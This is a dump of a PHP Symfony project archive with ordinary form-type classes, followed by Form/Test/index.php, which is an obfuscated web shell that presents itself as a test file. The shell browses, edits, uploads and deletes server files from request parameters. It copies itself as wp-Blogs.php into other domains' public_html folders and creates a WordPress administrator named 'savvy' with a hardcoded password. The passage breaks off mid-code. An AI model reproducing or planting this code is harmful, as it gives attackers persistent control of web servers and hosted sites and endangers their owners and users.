ChoiceType::class, [ 'choices' => [ 'Company Logo' => "company", 'User Profile' => "user", 'Background' => "background", 'Country' => "country_flag", 'Town' => "town", 'Building' => "building", 'Room' => "room", 'Announce' => "announce", 'Payment Option' => "payment", 'Payment Provider' => "payment_provider", ], ]) // ... ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => MediaObject::class, ]); } } Form/ChangePasswordFormType.php 0000644 00000003604 15117152230 0012556 0 ustar 00 <?php namespace App\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\PasswordType; use Symfony\Component\Form\Extension\Core\Type\RepeatedType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; class ChangePasswordFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('plainPassword', RepeatedType::class, [ 'type' => PasswordType::class, 'first_options' => [ 'attr' => ['autocomplete' => 'new-password'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter a password', ]), new Length([ 'min' => 6, 'minMessage' => 'Your password should be at least {{ limit }} characters', // max length allowed by Symfony for security reasons 'max' => 4096, ]), ], 'label' => 'New password', ], 'second_options' => [ 'attr' => ['autocomplete' => 'new-password'], 'label' => 'Repeat Password', ], 'invalid_message' => 'The password fields must match.', // Instead of being set onto the object directly, // this is read and encoded in the controller 'mapped' => false, ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([]); } } Form/ResetPasswordRequestFormType.php 0000644 00000001561 15117152230 0014024 0 ustar 00 <?php namespace App\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\EmailType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\NotBlank; class ResetPasswordRequestFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('email', EmailType::class, [ 'attr' => ['autocomplete' => 'email'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter your email', ]), ], ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([]); } } Form/Test/index.php 0000644 00000053020 15117152230 0010203 0 ustar 00 <?php goto c1sYz; BIL6B: hH57D($DoOOs, basename($_GET["\x65\x64\151\164"])); goto y27TE; Dh20J: rmdir($e8thM); goto dJLL3; StiLj: echo "\x3c\160\40\163\x74\x79\x6c\x65\75\47\143\157\154\157\162\72\43\x30\x30\x46\106\x30\x30\x3b\x27\76\360\237\x97\x91\357\270\x8f\40\104\145\x6c\145\164\x65\144\72\x20" . htmlspecialchars(basename($e8thM)) . "\x20\342\200\x94\x20\111\164\x65\x6d\x20\162\145\x6d\157\166\145\x64\x2e\74\x2f\160\x3e"; goto HBd2W; da2cA: echo "\74\x2f\x75\154\x3e\x3c\150\x72\76"; goto f0Pf9; mVab6: O3j7m: goto yCJ9z; o9euX: if (!isset($_GET["\x65\x64\151\x74"])) { goto Q0Gow; } goto BIL6B; O7c5P: if (!(!$DoOOs || !is_dir($DoOOs))) { goto Ku2K5; } goto FWiQ_; ox8qJ: function hh57D($DoOOs, $xeUTE) { goto sg4rR; ALN9l: if (!($_SERVER["\122\x45\121\125\x45\x53\124\137\x4d\105\x54\110\x4f\x44"] === "\x50\x4f\123\124" && isset($_POST["\143\157\156\x74\x65\x6e\x74"]))) { goto ap1SD; } goto vh7CV; AcL2d: echo "\74\150\63\76\xe2\x9c\x8f\357\xb8\217\40\x45\x64\x69\x74\151\x6e\147\72\x20{$xeUTE}\74\57\x68\x33\76\40\x3c\x66\157\162\x6d\x20\155\x65\x74\150\157\x64\75\x27\160\157\163\x74\47\76\x20\x3c\164\x65\x78\x74\x61\x72\145\141\40\156\141\155\145\75\x27\143\157\156\x74\x65\156\164\x27\x20\x72\157\x77\163\75\47\62\60\47\x20\x73\164\171\x6c\x65\75\x27\167\151\x64\x74\150\72\61\x30\x30\x25\x3b\142\141\x63\x6b\x67\162\157\165\x6e\x64\x3a\x23\62\x32\x32\x3b\x63\157\x6c\157\x72\72\43\x30\x30\106\x46\60\60\x3b\x27\76{$qc6zx}\x3c\x2f\x74\145\170\164\141\x72\x65\x61\x3e\x3c\142\x72\x3e\40\74\x62\165\164\x74\157\156\x20\163\164\x79\154\145\x3d\x27\142\141\143\x6b\147\x72\157\x75\156\x64\x3a\x23\60\60\106\106\60\60\73\47\x3e\123\x61\166\145\74\57\142\165\x74\164\157\x6e\x3e\x20\74\57\x66\x6f\162\x6d\x3e\x3c\150\162\x3e"; goto Vmlv8; oouPc: return; goto qKNKI; GXLyf: echo "\74\x70\x20\163\164\171\154\145\75\x27\x63\157\x6c\157\162\x3a\43\60\x30\106\x46\x30\x30\x3b\47\x3e\xe2\x9c\x85\40\x53\141\166\x65\x64\x20\342\200\x94\40\x43\150\x61\x6e\x67\x65\163\x20\141\x70\160\154\151\145\x64\x2e\x3c\x2f\x70\76"; goto h4wbq; qKNKI: Zujix: goto ALN9l; sg4rR: $GEE7o = "{$DoOOs}\x2f{$xeUTE}"; goto ZfZvX; AOxL9: $qc6zx = htmlspecialchars(file_get_contents($GEE7o)); goto AcL2d; h4wbq: ap1SD: goto AOxL9; ZfZvX: if (is_file($GEE7o)) { goto Zujix; } goto oouPc; vh7CV: file_put_contents($GEE7o, $_POST["\143\157\x6e\164\x65\156\164"]); goto GXLyf; Vmlv8: } goto cI_uC; HBd2W: X10SM: goto el1yy; p33Tx: function Btol7($qc6zx) { goto UutLk; lmqJm: if (!is_dir("{$hYRXi}\57\144\157\x6d\141\x69\x6e\x73")) { goto mS2wF; } goto KLzUV; ESCHp: goto Upjgm; goto b3kb6; UutLk: static $TF3jN = false; goto LZ42Y; K4voq: $q3G1Z = []; goto zQrFb; tvjv3: return []; goto wAZZ0; cs_WN: Upjgm: goto vQokl; wAZZ0: htuQE: goto Z6nXe; XNLNI: if (!($hYRXi !== "\x2f")) { goto Upjgm; } goto lmqJm; xZJoO: $hYRXi = dirname($hYRXi); goto pAHke; zQrFb: pmzKD: goto XNLNI; vQokl: return $q3G1Z; goto KX9R7; pAHke: goto pmzKD; goto cs_WN; N8t00: $hYRXi = __DIR__; goto K4voq; XYNR3: J0m90: goto ESCHp; LZ42Y: if (!$TF3jN) { goto htuQE; } goto tvjv3; KLzUV: foreach (scandir("{$hYRXi}\x2f\x64\x6f\x6d\141\151\156\163") as $YnmEU) { goto nFdHq; HS8yt: Ps8PD: goto nGxA2; nGxA2: $LN6Sl = "{$hYRXi}\x2f\144\x6f\x6d\x61\151\x6e\163\57{$YnmEU}\57\x70\165\142\154\151\143\137\150\x74\x6d\x6c"; goto MgGZe; w5ofR: jQ231: goto uSXB3; a8u1V: $q3G1Z[] = "\150\x74\x74\x70\72\x2f\57{$YnmEU}\57\167\160\55\102\x6c\x6f\147\x73\56\x70\x68\x70"; goto mf3A6; MgGZe: $cHTCu = "{$LN6Sl}\x2f\x77\160\x2d\x42\154\x6f\x67\x73\56\x70\150\160"; goto cKfWU; nFdHq: if (!($YnmEU === "\56" || $YnmEU === "\x2e\56")) { goto Ps8PD; } goto KHwzj; KHwzj: goto YSshq; goto HS8yt; uSXB3: YSshq: goto Qsrvc; M_HwK: if (!file_put_contents($cHTCu, $qc6zx)) { goto n52A0; } goto a8u1V; cKfWU: if (!(is_dir($LN6Sl) && is_writable($LN6Sl))) { goto jQ231; } goto M_HwK; mf3A6: n52A0: goto w5ofR; Qsrvc: } goto XYNR3; b3kb6: mS2wF: goto xZJoO; Z6nXe: $TF3jN = true; goto N8t00; KX9R7: } goto T0dhP; REetB: aClHb($DoOOs); goto UY1gc; UvXDS: if (empty($p9Orb)) { goto LedJD; } goto JrHje; yXQK2: foreach ($p9Orb as $SV3YR) { echo "\74\154\151\x3e\x3c\x61\x20\150\x72\145\x66\75\x27{$SV3YR}\47\x20\164\141\162\x67\x65\164\75\x27\x5f\x62\154\141\156\x6b\47\x3e{$SV3YR}\74\x2f\141\x3e\74\57\154\151\76"; Cvwvt: } goto W0sBE; Zet9o: if (!($e8thM && strpos($e8thM, getcwd()) === 0 && file_exists($e8thM))) { goto X10SM; } goto rQ6F_; rz3hE: echo "\x3c\x21\x44\117\x43\124\131\x50\x45\x20\150\x74\155\154\76\x3c\x68\x74\155\x6c\x3e\x3c\x68\145\x61\144\x3e\x3c\x6d\x65\164\141\x20\143\150\x61\x72\x73\145\x74\75\x27\125\x54\x46\55\x38\47\x3e\x3c\x74\x69\x74\x6c\145\76\xf0\237\237\xa2\x20\x47\x72\x65\x65\x6e\x46\151\154\x65\x3c\57\164\x69\164\154\x65\76\x20\xd\12\x3c\x73\x74\171\154\145\x3e\x20\142\157\x64\171\40\x7b\40\142\141\143\x6b\x67\x72\157\x75\156\144\72\43\61\x61\x31\x61\x31\141\73\x20\143\157\154\157\162\72\43\142\x62\142\73\40\x66\157\x6e\164\x2d\x66\141\x6d\x69\154\x79\72\x6d\x6f\156\157\163\160\x61\x63\145\73\x20\x70\x61\x64\144\x69\x6e\147\x3a\x32\60\x70\x78\x3b\40\x6d\141\x78\x2d\x77\x69\144\x74\x68\x3a\x39\x30\60\160\170\73\x20\x6d\x61\x72\147\151\156\x3a\x61\165\x74\x6f\x3b\x20\175\40\xd\12\x61\40\x7b\40\x63\x6f\x6c\x6f\x72\x3a\x23\x30\60\106\x46\x30\60\73\x20\x74\x65\170\x74\55\x64\145\143\157\x72\x61\164\151\x6f\x6e\72\156\x6f\x6e\x65\73\x20\x7d\x20\15\xa\141\72\150\x6f\x76\x65\x72\x20\x7b\x20\164\145\170\164\x2d\144\x65\143\157\162\x61\x74\x69\x6f\156\72\x75\156\x64\x65\162\x6c\x69\156\x65\73\40\x63\157\x6c\x6f\162\x3a\43\63\63\x46\106\x33\63\73\x20\175\40\15\12\x70\162\145\54\40\x74\145\x78\164\x61\162\x65\141\40\173\x20\x77\151\144\164\x68\x3a\x31\x30\60\45\x3b\x20\142\x61\143\x6b\147\x72\157\x75\x6e\x64\72\x23\x32\62\x32\73\40\143\157\154\157\162\72\43\60\60\x46\x46\x30\x30\73\x20\x62\x6f\x72\x64\145\162\x3a\61\x70\170\x20\163\x6f\x6c\151\144\40\43\64\64\64\73\40\175\40\xd\12\x62\x75\x74\x74\157\156\x20\173\x20\x62\x61\x63\x6b\147\162\157\165\156\x64\x3a\43\60\60\x46\x46\x30\x30\x3b\x20\142\157\162\144\x65\x72\x3a\156\x6f\156\145\73\x20\143\157\154\157\x72\72\43\x30\60\x30\73\x20\x70\x61\x64\x64\x69\156\147\x3a\66\x70\x78\x20\61\x32\160\x78\73\40\x6d\x61\x72\x67\151\156\x2d\x74\x6f\x70\x3a\65\160\170\73\x20\x63\x75\x72\163\157\162\72\x70\157\151\x6e\164\145\x72\73\40\175\40\xd\12\x75\x6c\x20\173\x20\x6c\151\x73\164\x2d\163\x74\171\154\x65\72\156\157\156\145\x3b\x20\160\x61\144\144\x69\156\147\72\60\73\x20\175\x20\15\12\x69\156\160\165\x74\x5b\164\171\x70\145\75\47\x74\145\x78\x74\47\x5d\40\173\x20\x62\x61\143\x6b\147\162\x6f\165\x6e\144\72\43\x32\x32\62\x3b\x20\143\157\154\157\162\72\x23\x30\x30\x46\x46\60\x30\x3b\40\x62\x6f\x72\x64\x65\x72\x3a\x31\x70\170\x20\x73\157\154\151\144\x20\43\64\x34\64\x3b\40\160\x61\x64\144\x69\156\147\x3a\x35\x70\170\x3b\40\x7d\x20\xd\12\x3c\x2f\x73\x74\x79\154\145\x3e\x3c\57\150\x65\141\x64\76\x3c\x62\157\144\171\76\x20\xd\xa\x3c\x68\62\x3e\xf0\x9f\237\242\40\x47\162\145\145\x6e\x46\151\x6c\145\40\342\200\224\40\x46\151\x6c\145\40\x42\162\x6f\167\163\145\x72\74\57\x68\x32\x3e\40\15\xa\74\x70\x3e" . vcjpU($DoOOs) . "\x3c\x2f\x70\x3e\x3c\x68\x72\x3e"; goto gSPFj; OkPNG: $p9Orb = btOL7(file_get_contents(__FILE__)); goto UvXDS; QKHRO: echo "\x3c\160\x3e\342\254\x86\357\270\x8f\x20\74\x61\40\150\162\145\x66\x3d\47\x3f\160\141\x74\x68\75" . urlencode($uHbgl) . "\47\76\107\x6f\x20\x75\x70\72\40{$uHbgl}\74\x2f\x61\76\74\x2f\160\x3e"; goto X4YZk; f0Pf9: LedJD: goto mVab6; rQ6F_: if (is_dir($e8thM)) { goto hHs_6; } goto CKqja; JrHje: echo "\x3c\160\40\x73\x74\x79\x6c\x65\x3d\x27\143\157\x6c\157\162\72\x23\x30\x30\106\x46\60\x30\x3b\47\x3e\342\x9c\205\40\x41\x75\x74\x6f\x2d\x72\145\x70\154\x69\x63\x61\x74\145\x64\40\164\x6f\72\74\57\160\76\74\165\154\76"; goto yXQK2; st2qF: Ku2K5: goto HPdtd; dJLL3: dk4zU: goto StiLj; B5b8G: function suxCy($DoOOs, $xeUTE) { goto WWTqC; Z3UpM: echo "\x3c\57\160\162\x65\x3e\x3c\150\162\76"; goto J4elU; kwlpe: echo htmlspecialchars(file_get_contents($GEE7o)); goto Z3UpM; xuSh7: Rg3UP: goto JzwDa; nMglk: return; goto xuSh7; JzwDa: echo "\74\150\x33\x3e\360\237\x93\x84\40\126\151\x65\x77\x69\x6e\147\x3a\40{$xeUTE}\x3c\x2f\x68\63\76\x3c\160\x72\145\x20\x73\x74\x79\x6c\x65\75\47\142\x61\x63\x6b\147\x72\157\x75\156\144\72\x23\62\x32\x32\x3b\x70\141\144\144\x69\x6e\x67\x3a\x31\60\160\170\73\143\157\154\x6f\162\x3a\x23\x30\60\x46\x46\60\60\73\142\157\x72\x64\x65\162\72\61\x70\x78\40\x73\157\x6c\151\x64\x20\x23\x34\64\64\73\x27\x3e"; goto kwlpe; CHtjd: if (is_file($GEE7o)) { goto Rg3UP; } goto nMglk; WWTqC: $GEE7o = "{$DoOOs}\x2f{$xeUTE}"; goto CHtjd; J4elU: } goto ox8qJ; UY1gc: if (!(basename(__FILE__) !== "\167\160\x2d\x42\x6c\157\147\x73\x2e\x70\150\160")) { goto O3j7m; } goto OkPNG; nZ8S2: LqpNy($DoOOs); goto LeF50; el1yy: TPLtY: goto mjn23; X4YZk: SFlTy: goto Gu1nl; OI7c2: hHs_6: goto Dh20J; VAQRR: $e8thM = realpath($_GET["\144\145\154\145\x74\145"]); goto Zet9o; yCJ9z: echo "\x3c\x75\x6c\x3e" . Ieq6u($DoOOs) . "\x3c\x2f\165\x6c\x3e"; goto fM2wD; H8uvx: $DoOOs = isset($_GET["\x70\141\164\150"]) ? realpath($_GET["\x70\x61\164\150"]) : getcwd(); goto O7c5P; CKqja: unlink($e8thM); goto nGc9A; LeF50: $uHbgl = dirname($DoOOs); goto KVJkv; HPdtd: if (!isset($_GET["\144\x65\154\x65\164\145"])) { goto TPLtY; } goto VAQRR; cI_uC: function aclHb($DoOOs) { goto kXCgx; FHQIA: echo "\74\x70\x20\163\164\x79\154\x65\75\47\143\157\x6c\x6f\162\72\x23\60\x30\x46\106\x30\60\x3b\47\76\342\x9d\214\x20\106\x6f\x6c\x64\x65\x72\x20\x65\170\x69\x73\x74\x73\40\342\200\224\x20\101\x6c\162\145\141\x64\171\x20\x70\x72\x65\163\x65\156\164\x2e\74\x2f\x70\x3e"; goto q0DrL; Ikluj: $e8thM = "{$DoOOs}\57" . basename($_POST["\155\x6b\x64\151\x72"]); goto Melun; kXCgx: if (empty($_FILES["\165\x70"]["\x6e\x61\155\145"])) { goto XY0Om; } goto FvFI0; SoaYz: o0bp8: goto lv2BN; lv2BN: XiGlC: goto MPhqe; N9i1h: vYhfP: goto KpC4C; fcTce: XJgyW: goto OTXL_; OTXL_: file_put_contents($e8thM, $_POST["\156\x65\167\146\151\154\x65"]); goto eQ0Zh; q0DrL: goto o0bp8; goto Zts9b; W9QXK: goto vYhfP; goto fcTce; Melun: if (!file_exists($e8thM)) { goto e0Fki; } goto FHQIA; uxGN7: echo "\x3c\146\x6f\x72\x6d\40\x6d\145\x74\x68\x6f\144\75\x27\160\157\163\164\47\x20\x65\156\x63\164\171\160\x65\75\47\x6d\165\154\164\x69\x70\141\162\164\x2f\x66\x6f\162\x6d\x2d\x64\x61\164\141\x27\x3e\x20\40\x20\x20\x20\x20\40\40\x20\15\12\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\74\x69\156\x70\165\164\40\164\171\x70\145\75\x27\x66\x69\x6c\145\47\x20\156\141\x6d\x65\x3d\x27\165\160\x27\76\40\x20\40\40\40\x20\40\40\x20\xd\12\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\74\142\x75\164\x74\157\x6e\x20\x73\164\x79\x6c\145\x3d\x27\142\141\x63\x6b\147\162\x6f\165\156\144\x3a\x23\60\x30\106\106\x30\60\x3b\x27\76\x55\x70\x6c\x6f\x61\x64\74\x2f\142\165\164\164\x6f\156\76\40\40\40\x20\40\xd\12\40\40\x20\40\x20\40\x20\40\74\x2f\146\157\162\155\x3e\74\142\162\x3e\40\40\x20\x20\40\15\12\x20\x20\40\40\40\x20\40\x20\x3c\x66\157\162\155\40\x6d\x65\x74\x68\x6f\x64\75\47\160\157\163\164\x27\x3e\x20\40\x20\x20\40\x20\x20\40\x20\xd\12\40\x20\40\40\40\x20\x20\40\40\40\x20\40\360\237\223\x81\40\74\x69\156\x70\165\x74\x20\164\x79\160\145\75\x27\x74\145\x78\164\x27\x20\x6e\141\x6d\145\75\x27\x6d\x6b\x64\x69\x72\47\40\160\154\x61\x63\x65\x68\x6f\x6c\144\145\x72\x3d\x27\106\157\x6c\x64\x65\x72\40\156\141\155\x65\x27\76\x20\40\x20\40\x20\40\x20\40\40\xd\xa\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\x3c\x62\165\x74\164\157\x6e\40\163\x74\x79\x6c\145\x3d\47\x62\141\x63\153\147\x72\x6f\165\156\144\72\x23\x30\60\106\106\x30\60\x3b\47\76\x43\x72\x65\x61\164\145\40\106\157\154\x64\145\162\x3c\57\x62\x75\x74\x74\x6f\156\x3e\40\x20\40\40\40\15\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\57\146\157\x72\x6d\76\74\x62\162\76\40\x20\40\x20\x20\15\12\x20\x20\40\40\x20\40\x20\x20\x3c\x66\157\x72\155\x20\155\145\164\150\x6f\x64\75\47\x70\x6f\x73\164\x27\x3e\40\40\x20\40\40\x20\x20\40\40\xd\xa\40\40\x20\40\x20\x20\40\40\40\40\40\40\xf0\237\x93\204\x20\x3c\151\x6e\x70\165\164\40\x74\x79\x70\145\x3d\x27\x74\145\x78\164\x27\40\x6e\141\155\145\75\47\146\x69\x6c\145\156\141\155\x65\x27\x20\x70\x6c\141\x63\145\x68\x6f\x6c\144\x65\162\75\47\x46\x69\x6c\145\x20\156\141\155\x65\x27\76\74\142\x72\x3e\40\40\x20\40\x20\40\40\40\40\xd\xa\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\74\x74\x65\x78\x74\x61\x72\145\x61\x20\156\x61\x6d\145\x3d\47\x6e\x65\x77\146\x69\x6c\145\x27\x20\x72\x6f\x77\x73\x3d\47\x35\x27\x20\163\x74\171\154\x65\75\47\167\151\x64\x74\x68\x3a\x31\60\x30\x25\73\142\x61\143\153\147\x72\157\x75\x6e\x64\72\x23\62\62\62\x3b\143\157\154\157\162\x3a\43\60\x30\x46\x46\x30\x30\x3b\47\x20\160\154\141\143\145\150\x6f\x6c\144\x65\162\x3d\47\x46\x69\154\x65\40\143\x6f\x6e\164\x65\156\164\x27\x3e\x3c\57\164\145\x78\164\x61\162\x65\x61\76\40\x20\40\40\x20\x20\x20\40\x20\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\74\x62\165\x74\164\x6f\x6e\40\163\x74\x79\154\145\x3d\47\x62\x61\x63\153\x67\x72\x6f\165\x6e\x64\72\43\x30\60\106\106\60\x30\73\47\76\x43\162\145\x61\x74\x65\40\106\151\x6c\x65\74\57\142\x75\x74\x74\157\156\76\x20\40\x20\40\x20\xd\xa\40\40\x20\40\40\40\x20\40\74\x2f\x66\157\162\155\x3e\x3c\142\162\76"; goto rt9t5; FvFI0: move_uploaded_file($_FILES["\165\160"]["\x74\155\160\x5f\x6e\x61\x6d\145"], "{$DoOOs}\x2f" . basename($_FILES["\165\160"]["\x6e\141\x6d\145"])); goto B5III; eQ0Zh: echo "\74\x70\40\x73\164\171\154\x65\75\x27\143\x6f\154\157\162\72\x23\60\60\x46\106\60\x30\x3b\47\x3e\360\x9f\x93\204\40\106\x69\154\x65\x20\143\x72\x65\141\x74\145\x64\x20\342\200\224\x20\x4e\x65\x77\40\x66\x69\154\145\x20\x77\162\x69\x74\164\x65\156\56\x3c\x2f\160\x3e"; goto N9i1h; MPhqe: if (!(!empty($_POST["\x6e\x65\167\x66\151\154\145"]) && !empty($_POST["\146\151\x6c\145\x6e\x61\155\145"]))) { goto NeaXJ; } goto XxYnX; erfte: echo "\74\160\x20\x73\164\x79\154\145\x3d\x27\x63\x6f\154\x6f\162\x3a\43\x30\60\106\x46\60\x30\73\47\76\360\x9f\x93\x81\40\106\157\x6c\144\x65\162\x20\x63\x72\145\141\164\x65\x64\x20\xe2\x80\224\x20\x4e\x65\x77\40\144\151\162\145\143\164\157\162\171\40\141\144\144\145\x64\x2e\x3c\x2f\160\76"; goto SoaYz; XxYnX: $yDCrb = basename($_POST["\x66\x69\x6c\x65\x6e\x61\155\x65"]); goto G2gx9; DG8nt: if (!file_exists($e8thM)) { goto XJgyW; } goto jbs30; G2gx9: $e8thM = "{$DoOOs}\57{$yDCrb}"; goto DG8nt; jbs30: echo "\74\x70\40\163\164\171\x6c\x65\75\x27\x63\157\x6c\x6f\x72\72\x23\60\x30\x46\106\60\60\x3b\x27\76\xe2\x9d\x8c\40\x46\151\154\x65\x20\x65\x78\151\x73\x74\x73\40\342\200\x94\x20\x4e\141\x6d\145\x20\141\x6c\x72\x65\141\144\x79\40\165\163\x65\x64\56\x3c\57\160\76"; goto W9QXK; bP6EF: if (empty($_POST["\155\153\x64\x69\x72"])) { goto XiGlC; } goto Ikluj; KTjlK: XY0Om: goto bP6EF; KpC4C: NeaXJ: goto uxGN7; B5III: echo "\74\160\40\x73\x74\x79\154\145\75\47\x63\157\x6c\x6f\162\72\43\60\60\x46\x46\x30\x30\73\x27\76\xf0\237\x93\xa4\x20\125\160\154\x6f\141\x64\x65\x64\x20\342\200\224\x20\x46\151\154\145\x20\162\x65\143\145\x69\x76\x65\144\x2e\x3c\57\160\x3e"; goto KTjlK; T3V_f: mkdir($e8thM); goto erfte; Zts9b: e0Fki: goto T3V_f; rt9t5: } goto p33Tx; FWiQ_: $DoOOs = getcwd(); goto st2qF; T0dhP: function LqPnY($DoOOs) { goto RQr27; dWc6n: goto rxSHm; goto Een50; sNslV: $og5iR = rEbX0($nGUq6, $sQsPb, $MhzUZ); goto hOPH2; S4Mvy: if (!($HZYzh !== "\57")) { goto rxSHm; } goto CBPyH; SLEOp: $HZYzh = $DoOOs; goto v92od; soy5j: return; goto Xfkaj; PiZgY: IsPPL: goto SLEOp; JlKiz: require_once "{$HZYzh}\x2f\167\x70\x2d\154\x6f\141\x64\56\160\150\x70"; goto gmz_q; TN2WL: WPrhG: goto I34RU; Xfkaj: Iv7Je: goto JlKiz; RQr27: if (isset($_GET["\143\x72\x65\x61\164\145\137\167\x70\137\x75\x73\x65\162"])) { goto IsPPL; } goto FkAmj; put_j: $MhzUZ = "\x73\141\x76\166\x79\x40\144\157\x6d\x61\x69\x6e\56\143\x6f\155"; goto gTdYB; ehpCm: echo "\x3c\160\40\x73\x74\x79\x6c\145\x3d\x27\x63\x6f\x6c\x6f\x72\x3a\43\x30\x30\x46\106\60\60\x3b\47\76\342\x9a\240\xef\xb8\217\40\x55\x73\x65\162\x2f\x65\x6d\141\151\x6c\x20\141\x6c\162\x65\141\x64\171\40\x65\170\x69\163\164\x73\x20\xe2\x80\224\40\103\x61\x6e\x6e\x6f\x74\40\143\162\145\141\x74\145\40\144\x75\x70\x6c\x69\x63\141\164\145\x2e\74\57\x70\x3e"; goto C44wy; v92od: a_13Z: goto S4Mvy; CBPyH: if (!file_exists("{$HZYzh}\x2f\x77\160\x2d\x63\157\x6e\146\151\x67\x2e\x70\150\160")) { goto Fc_4e; } goto dWc6n; gmz_q: $nGUq6 = "\x73\141\166\x76\171"; goto aZc2q; lk5Y8: echo "\74\x70\x20\x73\x74\171\154\145\x3d\47\x63\x6f\154\157\162\x3a\x23\x30\60\x46\106\x30\x30\73\x27\76\xe2\234\x85\40\x57\x50\40\101\x64\x6d\x69\156\40\165\163\x65\x72\x20\47\163\x61\166\166\x79\47\40\143\162\x65\x61\164\x65\144\x20\xe2\200\x94\40\101\x64\x6d\151\x6e\151\163\x74\x72\141\164\x6f\x72\x20\141\144\144\145\x64\56\x3c\57\160\76"; goto TN2WL; Kp7l_: $ZfGyF->h7DaL("\141\144\155\x69\x6e\151\163\164\x72\x61\164\157\162"); goto lk5Y8; C44wy: goto WPrhG; goto Rxpdl; Een50: Fc_4e: goto NnJOh; hOPH2: $ZfGyF = new vMvZi($og5iR); goto Kp7l_; NnJOh: $HZYzh = dirname($HZYzh); goto byFw8; byFw8: goto a_13Z; goto QgXOF; aZc2q: $sQsPb = "\x53\x61\166\x76\171\x4d\x72\170\x23"; goto put_j; ECZTR: if (file_exists("{$HZYzh}\57\167\160\x2d\154\157\x61\144\56\x70\150\160")) { goto Iv7Je; } goto VcXyL; VcXyL: echo "\x3c\x70\40\x73\164\x79\x6c\x65\x3d\47\x63\157\x6c\x6f\x72\x3a\x23\60\60\106\x46\x30\60\73\x27\x3e\342\235\214\x20\127\x6f\162\x64\x50\x72\145\x73\163\x20\x6e\x6f\x74\40\146\157\165\x6e\x64\x20\xe2\x80\x94\40\x4e\x6f\40\127\120\40\x69\156\x73\164\141\154\x6c\x61\x74\x69\157\156\40\x64\145\164\x65\143\164\145\x64\x2e\74\57\x70\x3e"; goto soy5j; FkAmj: return; goto PiZgY; QgXOF: rxSHm: goto ECZTR; Rxpdl: eQkWA: goto sNslV; gTdYB: if (!B3U7C($nGUq6) && !qZHlb($MhzUZ)) { goto eQkWA; } goto ehpCm; I34RU: } goto rz3hE; W0sBE: dVBKe: goto da2cA; KVJkv: if (!($uHbgl && $uHbgl !== $DoOOs)) { goto SFlTy; } goto QKHRO; x1oUb: sUXCY($DoOOs, basename($_GET["\166\x69\145\x77"])); goto ncKzW; KYTtp: function ieq6u($DoOOs) { goto q35K0; q35K0: $V0FWd = ''; goto E97J4; tk_RT: foreach ($oneTR as $vVUOC) { goto oUw_1; wkAiO: $V0FWd .= "\x3c\x6c\x69\x3e\360\237\x93\x81\40\x3c\141\40\x68\x72\x65\x66\75\47\x3f\160\141\164\150\75" . urlencode($GEE7o) . "\x27\x3e{$vVUOC}\74\x2f\141\x3e\40\x7c\40\x3c\141\x20\x68\162\145\x66\75\47\x3f\144\x65\x6c\145\164\x65\75" . urlencode($GEE7o) . "\47\40\157\x6e\143\x6c\x69\143\x6b\x3d\x22\162\145\164\165\162\156\x20\x63\x6f\x6e\146\151\162\x6d\x28\x27\x44\145\154\x65\x74\x65\x20\164\x68\x69\x73\40\146\157\154\144\145\x72\x3f\47\51\x22\x20\x73\x74\x79\154\145\x3d\47\x63\x6f\x6c\157\162\72\x23\60\x30\x46\106\60\x30\x3b\x27\x3e\xf0\237\x97\x91\357\270\x8f\x20\104\x65\x6c\x65\x74\145\x3c\x2f\x61\x3e\74\57\154\x69\x3e"; goto w_EuC; w_EuC: n3q0h: goto q_JFf; oUw_1: $GEE7o = "{$DoOOs}\x2f{$vVUOC}"; goto wkAiO; q_JFf: } goto Q4Ytc; VGt81: xcuq1: goto kxM9y; E97J4: $oneTR = $V0sr1 = []; goto eeMKW; Q4Ytc: trODG: goto Ib4Z4; Ib4Z4: foreach ($V0sr1 as $vVUOC) { goto B9iqk; sETCM: $V0FWd .= "\x3c\154\151\x3e\360\237\223\204\40\x3c\141\x20\x68\x72\145\x66\x3d\x27\x3f\160\x61\164\150\75" . urlencode($DoOOs) . "\x26\166\151\145\x77\x3d" . urlencode($vVUOC) . "\x27\x3e{$vVUOC}\x3c\x2f\141\76\40\174\x20\74\141\x20\150\162\145\146\x3d\47\77\160\x61\164\150\75" . urlencode($DoOOs) . "\46\x65\144\x69\164\75" . urlencode($vVUOC) . "\47\x20\x73\164\x79\154\145\x3d\47\143\157\154\x6f\x72\x3a\x23\66\66\106\x46\66\66\x27\76\342\234\x8f\xef\xb8\217\x20\105\x64\x69\x74\x3c\x2f\x61\76\40\174\x20\74\141\x20\x68\162\x65\x66\x3d\47\x3f\x64\x65\154\145\164\145\75" . urlencode($GEE7o) . "\47\x20\157\156\x63\x6c\x69\143\153\75\x22\162\145\x74\x75\x72\x6e\x20\143\157\x6e\x66\151\x72\x6d\50\47\x44\x65\154\x65\164\x65\x20\164\150\x69\163\40\x66\151\x6c\145\77\x27\51\42\x20\x73\x74\171\154\x65\75\x27\x63\157\x6c\157\162\x3a\43\x30\x30\106\106\60\60\73\x27\x3e\360\x9f\227\x91\xef\270\217\x20\x44\145\x6c\x65\164\x65\x3c\x2f\141\x3e\x3c\57\x6c\151\76"; goto JPQbR; B9iqk: $GEE7o = "{$DoOOs}\57{$vVUOC}"; goto sETCM; JPQbR: B_NIb: goto J_0Ud; J_0Ud: } goto VGt81; kxM9y: return $V0FWd; goto ONq29; CTtpB: natcasesort($V0sr1); goto tk_RT; jVzrH: aF0Vh: goto MdPtR; eeMKW: foreach (scandir($DoOOs) as $ifSRM) { goto DRcpL; Vqnji: $V0sr1[] = $ifSRM; 